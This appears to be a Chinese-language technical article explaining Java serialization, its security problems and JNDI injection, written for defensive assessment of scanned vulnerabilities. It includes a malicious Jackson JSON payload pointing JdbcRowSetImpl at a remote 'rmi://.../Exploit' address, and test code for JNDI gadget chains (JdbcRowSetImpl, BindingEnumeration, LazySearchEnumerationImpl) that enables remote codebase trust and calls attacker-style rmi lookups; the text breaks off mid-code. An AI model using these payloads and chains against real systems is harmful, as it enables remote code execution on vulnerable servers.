• Java序列化与JNDI注入


    现阶段公司会进行季度的安全巡检,扫描出来的 Java 相关漏洞,无论是远程代码执行、还是 JNDI 注入,基本都和 Java 的序列化机制有关。本文简单梳理了一下序列化机制相关知识,解释为什么这么多漏洞都和 Java 的序列化有关,以及后续怎么避免这些安全漏洞,减少版本升级工作量。同时能基于本文的知识,在看到序列化漏洞后,简单评估该漏洞对自身应用的影响。

    一、序列化概述

    序列化主要是提供了一种机制,方便数据在网络之间进行传输,或者独立于程序存储在本地磁盘。

    序列化的使用场景很广,比如服务器收到请求参数,一种处理方式是一个个解析数据,自己构建处理数据。还有一种就是直接将数据反序列化为对象。当要把对象存储到缓存时,我们可以自己解析对象生成数据保存到缓存,取出时也自己处理数据转换为对象,也可以直接借助语言的序列化机制帮我们将对象序列化为数据存储起来,从缓存里获取数据后直接反序列化转为对象。在这些场景里,很明显序列化机制能极大改善我们的编程体验。

    Java 序列化基础

    最简单模式:

    implements Serializable

    我们可以只实现序列化接口,让Java 序列化机制会帮我们处理其他的一切事情。

    基于Serializable接口简单定制

    一个对象想要被序列化,那么它的类就要实现此接口或者它的子接口。

    这个对象的所有属性(包括private属性、包括其引用的对象)都可以被序列化和反序列化来保存、传递。不想序列化的字段可以使用transient修饰。

    可以用transient指定不想序列化的数据,比如密码等敏感数据。

    由于Serializable对象完全以它存储的二进制位为基础来构造,因此并不会调用任何构造函数,因此Serializable类无需默认构造函数,但是当Serializable类的父类没有实现Serializable接口时,反序列化过程会调用父类的默认构造函数,因此该父类必需有默认构造函数,否则会抛异常。

    使用transient关键字阻止序列化虽然简单方便,但被它修饰的属性被完全隔离在序列化机制之外,导致了在反序列化时无法获取该属性的值,而通过在需要序列化的对象的Java类里加入writeObject()方法与readObject()方法可以控制如何序列化各属性,甚至完全不序列化某些属性或者加密序列化某些属性。

    可以定义自己的writeObject()和readObject() 方法,来自定义部分序列化和反序列化流程。注意这两个方法是私有的,却会被 Java 序列化机制自行调用。

    基于Externalizable 接口全面定制

    Externalizable接口是Serializable接口的子类,提供了两个在序列化/反序列化时自动调用的方法:writeExternal()和readExternal()。

    用户要实现的writeExternal()和readExternal() 方法,用来决定如何序列化和反序列化。

    因为序列化和反序列化方法需要自己实现,因此可以指定序列化哪些属性,而transient在这里无效。

    Serializable 对象的反序列化完全从其存储的字节位里构建,没有调用构造器。而Externalizable 对象反序列化时,会调用公共无参构造器,之后readExternal() 才调用。所以实现这个接口要提供无参构造器。

    对Externalizable对象反序列化时,会先调用类的无参构造方法,这是有别于默认反序列方式的。如果把类的不带参数的构造方法删除,或者把该构造方法的访问权限设置为private、默认或protected级别,会抛出java.io.InvalidException: no valid constructor异常,因此Externalizable对象必须有默认构造函数,而且必需是public的。

    序列化版本号serialVersionUID

    在序列化过程中,可以控制序列化的版本。该字段为被序列化对象中的serialVersionUID字段。

    一个对象数据,在反序列化过程中,如果序列化串中的serialVersionUID与当前对象值不同,则反序列化失败,否则成功。

    如果serialVersionUID没有显式生成,系统就会自动生成一个。生成的输入有:类名、类及其属性修饰符、接口及接口顺序、属性、静态初始化、构造器。任何一项的改变都会导致serialVersionUID变化,这样可能导致即使类文件不变,升级 JDK 小版本都会导致反序列化失败。

    属性的变化都会导致自动生成的serialVersionUID发生变化。例如,对于对象A,我们生成序列化的S(A),然后修改A的属性,则此时A的serialVersionUID发生变化。反序列化时,S(A)与A的serialVersionUID不同,无法反序列化。会报序列号版本不一致的错误。

    为了避免这种问题, 一般系统都会要求实现serialiable接口的类显式的生明一个serialVersionUID。显式定义serialVersionUID的两种用途:

    • 希望类的不同版本对序列化兼容时,需要确保类的不同版本具有相同的serialVersionUID;
    • 不希望类的不同版本对序列化兼容时,需要确保类的不同版本具有不同的serialVersionUID。

    如果我们保持了serialVersionUID的一致,则在反序列化时,对于新增的字段会填入默认值null(int的默认值0),对于减少的字段则直接忽略。

    另外,修改方法、transient 字段、静态字段都不影响版本号,这些都不是序列化内容,因此也不是序列化版本号生成的依据。JVM 生成的版本号可以通过jdk/bin/serialver命令获取,假设想知道某个类在某个 jvm 里的默认序列化版本号,可以用这个命令,来进行迁移改造。

    注意,JSON、XML 等等,和 Java 内置序列化使用的字节流一样,都只是序列化数据的一种协议格式,其序列化机制还是基于 Java 的,并不是对 Java 序列化的一个替代。除了这类有构造和解析包就能直接使用的序列化方案,还有一类需要自己生成各种模板代码(Sub、Skeleton)的序列化方案,比如 rmi、Protocol Buffer 之类的,它们在 Java 侧的序列化一样是基于 Java 原生序列化的。

    二、Java 序列化安全问题

    JDK 的开发负责人说序列化是 Java 安全问题之源:

    Serialization was a horrible mistake in 1997, Some of us tried to fight it, but it went in, and there it is. ...We like to call serialization 'the gift that keeps on giving,' and the type of gift it keeps on giving is security vulnerabilities.... Probably a third of all Java vulnerabilities have involved serialization; it could be over half. It is an astonishingly fecund source of vulnerabilities, not to mention instabilities.

    需要注意的是,序列化并不是 Java 特有的问题,大多数编程语言都深受序列化安全之苦,因为序列化从应用场景上来说就是要和外部数据打交道,这自然就有安全风险,序列化实现的好与坏只能影响安全风险的强与弱,并不能消除。另外绝大部分的 Java 序列化漏洞,也并不是 JDK 的漏洞,而是应用程序反序列化之前没有对数据做足够的校验导致的。JDK 的大部分安全修复,其实更合适的叫法是安全加固。

    Java 序列化一直以来的坏名声,主要是和它的实现有关,而这个实现方案,又受到了 Java 愿景的束缚。Java 初期一直标榜自己强大但简单,用 Java 之父的话就是“Java is a blue collar language”,序列化方案尤其能体现这种思维。和其他语言相比,Java 内置的序列化用起来很简单但功能极其强大,你只需要实现一个空接口Serializable ,其他的什么都不用你管,JVM 帮你生成要反序列化的对象、帮你处理方法之间的调用,帮你处理对象内的引用链,帮你递归继承链。不像其他语言只序列化数据,Java 里反序列化后的对象自动就具有了数据和状态,你不需要做任何处理就能直接在业务里使用。

    实现数据的序列化很简单,但实现对象状态的序列化则麻烦很多,你没法走正常的初始化,然后依次调用对应的方法,因为 JVM 不可能知道当前状态的对象经历过哪些方法调用。为了实现这些功能,JVM 就只能借助非常规手段,也就是反射。具体来说就是在反序列化时,JVM 先创建一个空对象,然后通过反射把对象里的数据扣出来填充进这个空对象,而跳过了正常的构造器初始化过程。这种实现导致了 Java 里的序列化机制存在各种问题。

    这种序列化实现方式是非正交的,也就是让序列化的实现渗透到了其他各个功能模块。比如 lambda 项目的负责人说开发 lambda 时,有 20%的开发量来自于处理对序列化的影响。

    跳过正常的构造器初始化过程也就是说跳过了各种构造器安全检查,这也是恶意代码能进入反序列化的一个主要原因。

    Java 序列化还有一个比较严重的问题就是,Java 里对象实现序列化只要implement Serializable 接口就好,看上去是一个静态类型功能,但实际上这是一个标签接口,不做任何事情,只是对 JVM 的一个提示,表示这个类是可序列化的,但实际上这个类可不可以序列化,并不能保证,这实际上是一个动态类型功能。因此线上可能会遇到实现了序列化接口但仍抛出无法序列化的错误,而这个错误是编译器发现不了的。

    除了这三个,序列化还有很多其他的问题,比如对线程同步的影响,对继承结构的影响等等,网上很多文档都有详细的描述。

    三、序列化漏洞的分类

    大部分序列化漏洞都被归类为高危,但其实要利用序列化漏洞来攻陷系统其实很难,因为它的使用前置条件很高。序列化漏洞只会发生在反序列化恶意数据的过程中,这里的重点是恶意数据,而不是反序列化。同时恶意数据的输入也意味着反序列化服务链调用终端是不受信任的第三方,因此序列化漏洞一般都要和其他攻击手段一起使用才起作用。

    当然 Java 序列化机制让我们可以在反序列化过程中不做任何校验,尤其是它直接跳过了构造器初始化过程,这让应用更容易受影响。

    反序列化中的恶意数据,一般来源有这几种:RMI、JNDI、JSON、XML、其他 RPC 报文协议。

    1. RMI

    RMI(Remote Method Invocation,远程方法调用),它要求客户端和服务器端都是 Java。远程方法调用是分布式编程中的一个基本思想,实现远程方法调用的技术有CORBA、WebService等(这两种独立于编程语言)。RMI则是专门为JAVA设计,依赖JRMP通讯协议。

    RMI可以使我们引用远程主机上的对象,将JAVA对象作为参数传递,而这些对象要可以被序列化。就像C语言中有RPC(remote procedure calls )使远程主机上执行C函数并返回结果。可以被远程调用的对象必须实现java.rmi.Remote接口,其实现类必须继承UnicastRemoteObject类。如果不继承UnicastRemoteObject类,则需要手工初始化远程对象,在远程对象的构造方法的调用UnicastRemoteObject.exportObject()静态方法

    1. import java.rmi.*;
    2. public interface RemoteObject extends Remote {
    3. public Widget doSomething( ) throws RemoteException;
    4. public Widget doSomethingElse( ) throws RemoteException;
    5. }

    不继承UnicastRemoteObject类的DEMO

    1. public class HelloImpl implements IHello {//IHello是客户端和服务端公用接口
    2. protected HelloImpl() throws RemoteException {
    3. UnicastRemoteObject.exportObject(this, 0);
    4. }
    5. @Override
    6. public String sayHello(String name) {//HelloImpl是一个服务端远程对象,提供了一个sayHello方法供远程调用。
    7. System.out.println(name);
    8. return name;
    9. }
    10. }

    使用远程方法调用会涉及参数的传递和执行结果的返回,这些参数和结果可能是基本类型也可能是对象引用,这必然就涉及序列化和反序列化。

    如果没有对接收的参数进行仔细校验的话,那反序列化出来的对象里就可能包含恶意代码,比如可能方法里偷偷塞进了 Runtime.exec("cmd") 方法,或者读取敏感信息然后通过 http://java.net 包里的方法发送给恶意第三方。

    不过一般来说 RMI 用的比较少,一些基于 RMI 的服务也都是内网服务居多。但 RMI 可以和 JNDI 结合使用,经常会被用来作为攻击端给 JNDI 提供恶意脚本输入。

    RMI 的默认端口是 1099,很多互联网上的扫描工具都会扫描这个端口。这也是除了 443 和 80,对外暴露的端口不要用默认的原因,起码能给攻击者制造点困难。

    2. JNDI

    JNDI(Java Naming and DIrecroty Interface),是java命名与目录接口,任何实现了 JavaEE 规范的容器都要支持 JNDI,比如 Tomcat、Jetty、JBOSS 等 Java 容器都支持,具体应用代码研发过程中用的可能比较少,但我们依赖环境里 JNDI 应用还是比较广泛的,所以对我们影响也比较大。现在我们修复的 Java 漏洞,很大一部分都是基于 JDNI 来攻击的。

    JNDI包括Naming Service和Directory Service,通过名称来寻找数据和对象的API,也称为一种绑定。JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA。

    1. //web.xml
    2. "jndiName" value="jndiValue" type="java.lang.String" />
    3. //index.jsp
    4. <%
    5. Context ctx=new InitialContext();
    6. String testjndi=(String) ctx.lookup("java:comp/env/jndiName");
    7. out.print(testjndi);
    8. %>

    Naming Service:命名服务是将名称与值相关联的实体,称为绑定。通过find/search操作根据名称查找对象。上述的RMI Registry就是使用的Naming Service。

    Directory Service:是一种特殊的Naming Service,允许存储和搜索“目录对象”,目录对象可以与属性相关联。一个目录是一个类似树的分层结构库。LDAP就是用的Directory Service。

    简单说来,JNDI 就是一个簿记系统,或者说一个映射数据结构,用来做配置管理,以应用中访问数据库来举例,你在配置文件里配置数据库的具体信息,然后给这个配置分配一个 name 或者说 key,在应用中通过查询这个 key 来获取数据库的具体地址,然后访问数据库。

    假设恶意用户控制了这个 key,或者 key 的内容配置成恶意地址,就能返回恶意对象数据,这就是 JNDI 注入。JNDI 支持的协议包括 rmi、ldap、file、corba 和dns,当然你也可以配置自己的 lookup key,但就攻击而言,一般会选择 rmi 和ldap,当然也有其他情况。

    JNDI 注入发生后,如果反序列化过程没有做详细检查,就有可能导致应用反序列化了这个恶意对象,从而可能会执行恶意代码。

    现在很多应用里都使用自己的配置中心来管理配置,但在框架代码里,由于是提供给第三方使用的,所以还一般使用 JDNI 来管理配置,一个是简单,再有就是通用,属于 JavaEE 规范,基本所有 Java 容器都支持。比如 logback 这样一个日志系统,竟然也内置了 JNDI 来拉取外置配置。

    下面是 Tomcat 中配置数据库 JDNI 后,在应用里使用的过程,重点关注lookup方法:

    1. <datasources>
    2. <local-tx-datasource>
    3. <jndi-name> MySqlDSjndi-name>
    4. <connection-url> jdbc:mysql://localhost:3306/testconnection-url>
    5. <driver-class> com.mysql.jdbc.Driverdriver-class>
    6. <user-name> rootuser-name>
    7. <password> rootpasswordpassword>
    8. local-tx-datasource>
    9. datasources>
    1. Connection conn=null;
    2. try {
    3. Context ctx=new InitialContext();
    4. Object datasourceRef=ctx.lookup("java:MySqlDS"); // lookup数据源
    5. DataSource ds=(Datasource)datasourceRef;
    6. conn=ds.getConnection();
    7. ......
    8. c.close();
    9. }
    10. catch(Exception e) {
    11. e.printStackTrace();
    12. }
    13. finally {
    14. if(conn!=null) {
    15. try {
    16. conn.close();
    17. } catch(SQLException e) { }
    18. }
    19. }

    3. JSON

    JSON 可以说是现在 Web 开发中的标准报文协议了,而且大部分暴露在互联网上的接口,所以 JSON 序列化漏洞对我们较大,但同样的,利用 JSON 漏洞的条件其实也是很苛刻的。

    JSON 序列化漏洞的利用过程,简单来说就是在从 JSON 字符串反序列到 Java 对象时,应用会自动调用对应字段的 set 方法,这个攻击就是在 set 方法的调用过程中。一般正常的 JSON 操作都不会触发反序列化漏洞,但在涉及多态时,反序列化时需要显式指明 class 类型,这时候就可能会触发该漏洞。

    如下的示例可以看出,在涉及多态反序列化时,必须要在反序列化的字符串中指定 class 信息才可以,这就带来了问题,如果传入的 class 内容是恶意的,就会导致这个 class 在反序列化执行 set 时可能发生攻击。

    比如,假设被序列化的 json 字符串是 {"@class":"
    com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://xxx:ip/Exploit","autoCommit":true},注意这里的类型并不是应用代码里要求的类型,只要应用里没有使用具体类型,而使用了 Object 之类的基类型,攻击者就可以构造这样的 json 字符串。

    反序列化 JdbcRowSetImpl 时会执行setAutoCommit(),而它的这个 set 方法又会执行 InitialContext.lookup(dataSourceName) ,dataSourceName 被我们设置成了一个恶意的 RMI 对象,具体内容看下面示例,这样 lookup 并下载后一初始化就执行了攻击。这里其实有要求服务器的出访不做限制。

    也可以通过 JsonTypeInfo.Id.NAME 注解模式来指定 class 信息,可以避免该问题,但 JsonTypeInfo.Id.CLASS 就不行,因为也把 class 给暴露出去了。

    从上面可以看出,一般来说如果要触发这个 JSON 反序列化攻击,需要满足下面几个条件:

    1,要反序列化的 JSON 数据是从外部传入的。基本上只要是接口就满足这个条件。

    2,反序列化时用的 class 信息是外部传入的。这样的话 JSON 库代码在反序列化时才能正常执行对象初始化和 set 方法,否则直接就抛异常了。这个条件比较苛刻,正常 web 开发不会让对方传递 class 信息。

    3,反序列化代码里限定的类用了 Object 或者 Serial 之类的很顶层的类,比如objectMapper.readValue(json, Object.class); ,如果这里用具体业务类的话,即使第二步传入了恶意的 class 数据,也可以在这一步匹配时阻止反序列化并抛出异常。

    4,第 2 步传入的 class 要在我们代码的依赖里。这个很好理解,不在依赖里的话反序列化都做不到。

    5,第 2 步传入的 class 不在 JSON 处理库的黑名单里。像 Jackson 等 JSON 处理库都维护了一个内部黑名单,记录了可能会被利用来进行反序列化攻击的 class,在反序列化前都会先检查一下,如果传入的 class 在自己的黑名单话,就会反序列化失败,比如我们上面提到的 JdbcRowSetImpl 就已经被最新版的 Jackson 列入了黑名单。

    综上看来,JSON 的反序列化漏洞对 api 之类的接口影响有限,但如果代码里不小心调用了 enableDefaultTyping,又在ObjectMapper#readValue() 里用到了 Object 这种基类,或 Comparator、Serialable 这样的接口,即使你没意识到自己的接口可以被指定 class 信息,攻击者仍然可以攻击。

    另外从上面的流程可以看出,发序列化恶意代码执行后,JSON 肯定还会把恶意对象强制类型转换成我们期望的对象,但类型一定不匹配,所以会抛出 ClassCastException 之类的异常。如果日志里有这种异常,而 cast 前的class 又是你不认识或没用到过的,那一定要检查是不是被攻击了。当然到异常攻击这一步后,恶意代码其实已经执行完了,但知道受到攻击总比不知道好。

    1. public class JSONDefaultTypeAttack {
    2. public static void main(String[] args) throws Exception {
    3. Banana banana = new Banana();
    4. banana.name = "banana";
    5. Buy buy1 = new Buy("online", banana);
    6. ObjectMapper mapper1 = new ObjectMapper();
    7. // 序列化成功
    8. String json1 = mapper1.writeValueAsString(buy1);
    9. System.out.println("toJson1=" + json1);
    10. // 反序列化失败:Cannot construct instance of `chendw.security.Fruit` (no Creators, like default construct, exist)
    11. // Buy buy2 = mapper1.readValue(json1, Buy.class);
    12. // banana = (Banana) buy2.getFruit();
    13. // System.out.println("name1=" + banana.name);
    14. // 反序列化成功
    15. ObjectMapper mapper2 = new ObjectMapper();
    16. mapper2.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL, JsonTypeInfo.As.PROPERTY);
    17. String json2 = mapper2.writeValueAsString(buy1);
    18. System.out.println("toJson2=" + json2);
    19. Buy buy3 = mapper2.readValue(json2, Buy.class);
    20. banana = (Banana) buy3.getFruit();
    21. System.out.println("name2=" + banana.name);
    22. }
    23. // toJson1={"mode":"online","fruit":{"name":"banana"}}
    24. // toJson2={"@class":"chendw.security.Buy","mode":"online","fruit":{"@class":"chendw.security.Banana","name":"banana"}}
    25. // name2=banana
    26. }
    27. interface Fruit {
    28. }
    29. class Buy {
    30. private String mode;
    31. private Fruit fruit;
    32. Buy() {
    33. }
    34. Buy(String mode, Fruit fruit) {
    35. this.mode = mode;
    36. this.fruit = fruit;
    37. }
    38. public Fruit getFruit() {
    39. return fruit;
    40. }
    41. public String getMode() {
    42. return mode;
    43. }
    44. }
    45. class Apple implements Fruit {
    46. public String name;
    47. }
    48. class Banana implements Fruit {
    49. public String name;
    50. }

    4. XML

    XML 的反序列化攻击和 JSON 差不多,都是控制反序列化的 XML 字符串,传入恶意数据来攻击,但利用的点又有区别。

    拿去年公司要求修复的 XStream 漏洞【CVE-2021-21344】来说,要想理解相关漏洞,就需要先了解 XStream 自身的反序列化机制。

    XStream 在进行反序列化时,会要求类库调用者显式指定反序列化的类:xstream.allowTypes(new Class[] { Xxxx.class }),这样避免了 JSON 里通常利用的攻击点。

    XStream 反序列化是通过 converter 来进行的,不同类型的数据使用不同的 converter,所以攻击点一般也在这里。另外和 JSON 不同,XStream 不需要服务端启用 enableDefaultType 才可以在 XML 里携带 class 信息,相反,XStream 里的 class 信息是默认允许添加有的,这样攻击者就可以构造恶意数据来攻击了。

    可以看出,XML 的漏洞利用门槛要比 JSON 低很多。另外一般官方的修复也和 JSON 库一样采用黑名单机制,哪个类出问题就把哪个类加到黑名单里。

    5. LDAP

    LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)是一种目录服务协议,运行在TCP/IP堆栈之上。目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息(如企业员工信息:姓名、电话、邮箱等,公用证书、安全密钥、物理设备信息等),能进行查询、浏览和搜索,以树状结构组织数据。LDAP以树结构标识所以不能像表格一样用SQL语句查询,它“读”性能很强,但“写”性能较差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。

    LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。

    LDAP基本概念

    条目Entry

    条目也叫记录项,就像数据库中的记录。是LDAP增删改查的基本对象。

    dn(distinguished Name,唯一标识名),每个条目都有一个唯一标识名。可以看作对象的全路径,RDN则是其中的一段路径(靠前的一段),剩余路径则成为父标识(PDN)。

    属性Attribute

    每个条目都有很多属性(Attribute),每个属性都有名称及对应的值。属性包含cn(commonName姓名)、sn(surname姓)、ou(organizationalUnitName部门名称)、o(organization公司名称)等。每个属性也都有唯一的属性类型。

    对象类ObjectClass

    对象类(ObjectClass)是属性的集合,包含结构类型(Structural)、抽象类型(Abstract)和辅助类型(Auxiliary)等。比如单位职工类可能包含姓sn、名cn、电话telephoneNumber等。模式(Schema)则是对象类的集合。

     LDAP攻击:

    1. <dependency>
    2. <groupId>com.unboundidgroupId>
    3. <artifactId>unboundid-ldapsdkartifactId>
    4. <version>2.3.8version>
    5. dependency>
    1. public class LDAPSeriServer {
    2. private static final String LDAP_BASE = "dc=example,dc=com";
    3. public static void main(String[] args) throws IOException {
    4. int port = 1389;
    5. try {
    6. InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
    7. config.setListenerConfigs(new InMemoryListenerConfig(
    8. "listen", //$NON-NLS-1$
    9. InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
    10. port,
    11. ServerSocketFactory.getDefault(),
    12. SocketFactory.getDefault(),
    13. (SSLSocketFactory) SSLSocketFactory.getDefault()));
    14. config.setSchema(null);
    15. config.setEnforceAttributeSyntaxCompliance(false);
    16. config.setEnforceSingleStructuralObjectClass(false);
    17. InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
    18. ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectclass: domain");
    19. ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top");
    20. ds.add("dn: " + "uid=longofo,ou=employees,dc=example,dc=com", "objectClass: ExportObject");
    21. System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
    22. ds.startListening();
    23. } catch (Exception e) {
    24. e.printStackTrace();
    25. }
    26. }
    27. }
    1. public class LDAPClient1 {
    2. public static void main(String[] args) throws NamingException {
    3. System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
    4. Context ctx = new InitialContext();
    5. Object object = ctx.lookup("ldap://127.0.0.1:1389/uid=longofo,ou=employees,dc=example,dc=com");
    6. }
    7. }

    四、JNDI调用链

    JNDI可访问的现有的目录及服务有:

    DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。

    JNDI结构

    1. javax.naming:主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类;
    2. javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
    3. javax.naming.event:在命名目录服务器中请求事件通知;
    4. javax.naming.ldap:提供LDAP支持;
    5. javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。

    JNDI底层类

    InitialContext类

    1. 构造方法
    2. InitialContext()
    3. 构建一个初始上下文。
    4. 代码:
    5. InitialContext initialContext = new InitialContext();
    6. 在这JDK里面给的解释是构建初始上下文,其实通俗点来讲就是获取初始目录环境。
    7. 常用方法:
    8. bind(Name name, Object obj)
    9. 将名称绑定到对象。
    10. list(String name)
    11. 枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
    12. lookup(String name)
    13. 检索命名对象。
    14. rebind(String name, Object obj)
    15. 将名称绑定到对象,覆盖任何现有绑定。
    16. unbind(String name)
    17. 取消绑定命名对象。
    18. 代码:
    19. package com.rmi.demo;
    20. import javax.naming.InitialContext;
    21. import javax.naming.NamingException;
    22. public class jndi {
    23. public static void main(String[] args) throws NamingException {
    24. String uri = "rmi://127.0.0.1:1099/work";
    25. InitialContext initialContext = new InitialContext();
    26. initialContext.lookup(uri);
    27. }
    28. }

    Reference类

    1. 该类也是在javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。
    2. 构造方法:
    3. Reference(String className)
    4. 为类名为“className”的对象构造一个新的引用。
    5. Reference(String className, RefAddr addr)
    6. 为类名为“className”的对象和地址构造一个新引用。
    7. Reference(String className, RefAddr addr, String factory, String factoryLocation)
    8. 为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
    9. Reference(String className, String factory, String factoryLocation)
    10. 为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
    11. 代码:
    12. String url = "http://127.0.0.1:8080";
    13. Reference reference = new Reference("test", "test", url);
    14. 参数1:className – 远程加载时所使用的类名
    15. 参数2:classFactory – 加载的class中需要实例化类的名称
    16. 参数3:classFactoryLocation – 提供classes数据的地址可以是file/ftp/http协议
    17. 常用方法:
    18. void add(int posn, RefAddr addr)
    19. 将地址添加到索引posn的地址列表中。
    20. void add(RefAddr addr)
    21. 将地址添加到地址列表的末尾。
    22. void clear()
    23. 从此引用中删除所有地址。
    24. RefAddr get(int posn)
    25. 检索索引posn上的地址。
    26. RefAddr get(String addrType)
    27. 检索地址类型为“addrType”的第一个地址。
    28. Enumeration getAll()
    29. 检索本参考文献中地址的列举。
    30. String getClassName()
    31. 检索引用引用的对象的类名。
    32. String getFactoryClassLocation()
    33. 检索此引用引用的对象的工厂位置。
    34. String getFactoryClassName()
    35. 检索此引用引用对象的工厂的类名。
    36. Object remove(int posn)
    37. 从地址列表中删除索引posn上的地址。
    38. int size()
    39. 检索此引用中的地址数。
    40. String toString()
    41. 生成此引用的字符串表示形式。

    JNDI调用链

    无论是什么调用链,最终都是运行到InitialContext.lookup。

    1. 1)com.sun.rowset.JdbcRowSetImpl
    2. 2)com.sun.jndi.rmi.registry.BindingEnumeration
    3. 3)com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl
    4. 4)org.apache.commons.configuration.JNDIConfiguration
    5. 5)com.mchange.v2.c3p0.JndiRefForwardingDataSource
    6. 6)com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
    7. // Spring JNDI调用链的核心:SimpleJndiBeanFactory
    8. 7)org.springframework.beans.factory.config.PropertyPathFactoryBean
    9. 8)org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder
    10. 9)org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor

    (1)JdbcRowSetImpl

    调用链:

    1. JdbcRowSetImpl.setAutoCommit
    2. JdbcRowSetImpl.connect
    3. InitialContext.lookup

    JdbcRowSetImpl具体代码:

    1. //JdbcRowSetImpl
    2. public void setAutoCommit(boolean var1) throws SQLException {
    3. if (this.conn != null) {
    4. this.conn.setAutoCommit(var1);
    5. } else {
    6. // conn为null,进入connect
    7. this.conn = this.connect();
    8. this.conn.setAutoCommit(var1);
    9. }
    10. }
    11. private Connection connect() throws SQLException {
    12. if (this.conn != null) {
    13. return this.conn;
    14. } else if (this.getDataSourceName() != null) {
    15. try {
    16. // JNDI代码
    17. InitialContext var1 = new InitialContext();
    18. DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
    19. ...
    20. }

    测试代码如下:

    1. public static void main(String[] args) throws SQLException {
    2. System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//JDK开启远程调用
    3. System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
    4. JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
    5. try {
    6. jdbcRowSet.setDataSourceName("rmi://ip:1099/Exp_fast");
    7. jdbcRowSet.setAutoCommit(true);
    8. } catch (SQLException var3) {
    9. var3.printStackTrace();
    10. }
    11. }

    (2)BindingEnumeration

    RegistryContext构造函数,第一个参数传入host,第二个参数传入port。恶意类的名称则是通过BindingEnumeration构造函数的第二个参数传入,这样就具备的完整的rmi://ip:port/Evil

    1. public RegistryContext(String var1, int var2, Hashtable var3) throws NamingException {
    2. this.environment = var3 == null ? new Hashtable(5) : var3;
    3. ...
    4. RMIClientSocketFactory var4 = (RMIClientSocketFactory)this.environment.get("com.sun.jndi.rmi.factory.socket");
    5. this.host = var1;
    6. this.port = var2;
    7. }

    测试代码:

    1. public static void main(String[] args) throws SQLException, NamingException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
    2. System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//JDK开启远程调用
    3. System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
    4. Hashtable hashtable=new Hashtable();
    5. RegistryContext registryContext=new RegistryContext("127.0.0.1",1099,hashtable);
    6. Class c=Class.forName("com.sun.jndi.rmi.registry.BindingEnumeration");
    7. Constructor constructor=c.getDeclaredConstructor(RegistryContext.class,String[].class);
    8. constructor.setAccessible(true);
    9. String[] evil = new String[]{"Evil"};
    10. Object b=constructor.newInstance(registryContext,evil);
    11. Method m1=b.getClass().getDeclaredMethod("next");
    12. m1.setAccessible(true);
    13. m1.invoke(b);
    14. }

    (3)LazySearchEnumerationImpl

    LazySearchEnumerationImpl的findNextMatch方法调用了上面的BindingEnumeration.next()。

    1. // LazySearchEnumerationImpl
    2. private NamingEnumeration candidates;
    3. public SearchResult nextElement() {
    4. try {
    5. return this.findNextMatch(true);
    6. } ...
    7. }
    8. private SearchResult findNextMatch(boolean var1) throws NamingException {
    9. SearchResult var2;
    10. if (this.nextMatch != null) {
    11. ...
    12. } else {
    13. while(this.candidates.hasMore()) {
    14. Binding var3 = (Binding)this.candidates.next(); //可以进入到BindingEnumeration.next()
    15. Object var4 = var3.getObject();
    16. if (var4 instanceof DirContext) {
    17. Attributes var5 = ((DirContext)((DirContext)var4)).getAttributes("");
    18. if (this.filter.check(var5)) {
    19. if (!this.cons.getReturningObjFlag()) {
    20. var4 = null;
    21. } else if (this.useFactory) {
    22. try {
    23. CompositeName var6 = this.context != null ? new CompositeName(var3.getName()) : null;
    24. var4 = DirectoryManager.getObjectInstance(var4, var6, this.context, this.env, var5);
    25. } ...
    26. }

    测试代码:

    1. public static void main(String[] args) throws SQLException, NamingException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
    2. System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//JDK开启远程调用
    3. System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
    4. Hashtable hashtable=new Hashtable();
    5. RegistryContext registryContext=new RegistryContext("127.0.0.1",1099,hashtable);
    6. Class c=Class.forName("com.sun.jndi.rmi.registry.BindingEnumeration");
    7. Constructor constructor=c.getDeclaredConstructor(RegistryContext.class,String[].class);
    8. constructor.setAccessible(true);
    9. String[] evil = new String[]{"Evil"};
    10. NamingEnumeration b=(NamingEnumeration)constructor.newInstance(registryContext,evil);
    11. Class c2=Class.forName("com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl");
    12. Constructor constructor2=c2.getConstructor(NamingEnumeration.class, AttrFilter.class,SearchControls.class);
    13. Object o2=constructor2.newInstance(b,null,null);
